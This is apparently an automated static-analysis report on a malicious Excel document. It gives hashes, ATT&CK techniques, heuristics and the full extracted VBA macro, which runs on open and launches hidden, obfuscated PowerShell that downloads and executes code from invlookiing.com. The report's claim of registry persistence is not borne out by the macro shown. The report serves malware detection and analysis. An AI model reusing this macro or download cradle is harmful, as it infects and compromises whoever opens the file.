Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3024442a64390d6…

MALICIOUS

Office (OLE)

86.0 KB Created: 2019-11-04 20:04:32 Authoring application: Microsoft Excel First seen: 2021-06-28
MD5: a16cd4da59ff4e139d16f253124e3acd SHA-1: c384060465fc5af6a8040d7b654adcd6faf2509e SHA-256: f3024442a64390d6ef55147674b67a32f6de35e9461befc539f4b39c65cb5e3b
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The critical OLE_VBA_SHELL heuristic and the Workbook_Open macro indicate that the sample is designed to execute arbitrary code upon opening. The VBA script constructs and executes a PowerShell command that downloads content from the URL 'https://invlookiing.com/block' and executes it, likely as a second-stage payload. The script also attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Next iC
    Dim ShellndirObj As Shell32.Shell
    Set ShellObj = New Shell32.Shell
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
    Sub Workbook_Open()
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://invlookiing.com/block In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1881 bytes
SHA-256: 4ff265b9cf84c9433a1abbddc6ca1fdd8bb3ec3bcb04f94d5183c0e02bd63cb7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr)
Sub Workbook_Open()

Dim x As String
Dim cur(7) As String
Dim iC As Integer
Dim z, o As String
z = String(1, "S~3WIRT5RGZVPKRBQY1ULWH20U1LB83P") & String(1, "h~3WIRT5RGZVPKRBQY1ULWH20U1LB83P") & String(1, "e~3WIRT5RGZVPKRBQY1ULWH20U1LB83P") & String(1, "e~3WIRT5RGZVPKRBQY1ULWH20U1LB83P") & String(1, "t~3WIRT5RGZVPKRBQY1ULWH20U1LB83P") & String(1, "1~3WIRT5RGZVPKRBQY1ULWH20U1LB83P")
fr = String(1, "D~G34Y1O3NRYXM1V1IFBMIZVM10B2JFG") & String(1, "4~G34Y1O3NRYXM1V1IFBMIZVM10B2JFG") & String(1, "7~G34Y1O3NRYXM1V1IFBMIZVM10B2JFG") & String(1, "2~G34Y1O3NRYXM1V1IFBMIZVM10B2JFG") & String(1, "2~G34Y1O3NRYXM1V1IFBMIZVM10B2JFG")
Worksheets(z).Activate
Range(fr).Activate
For iC = 0 To 7
cur(iC) = ActiveCell.Offset(iC, 1).Value
Next iC
For iC = 0 To 7
x = x & cur(iC)

Next iC
Dim ShellndirObj As Shell32.Shell
Set ShellObj = New Shell32.Shell
Sleep 3000

tt = " -ExecutionPolicy Bypass -windowstyle hidden -command Set-Item Variable:h 'https://invlookiing.com/block';SV Dc ([Net.WebClient]::New());&(Alias IE*) (LS Variable:Dc).Value.(((([Net.WebClient]::New()|GM)|Where{$_.Name-ilike'*wn*d*g'}).Name))((GV h -ValueOn))"



ShellObj.ShellExecute x, tt

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True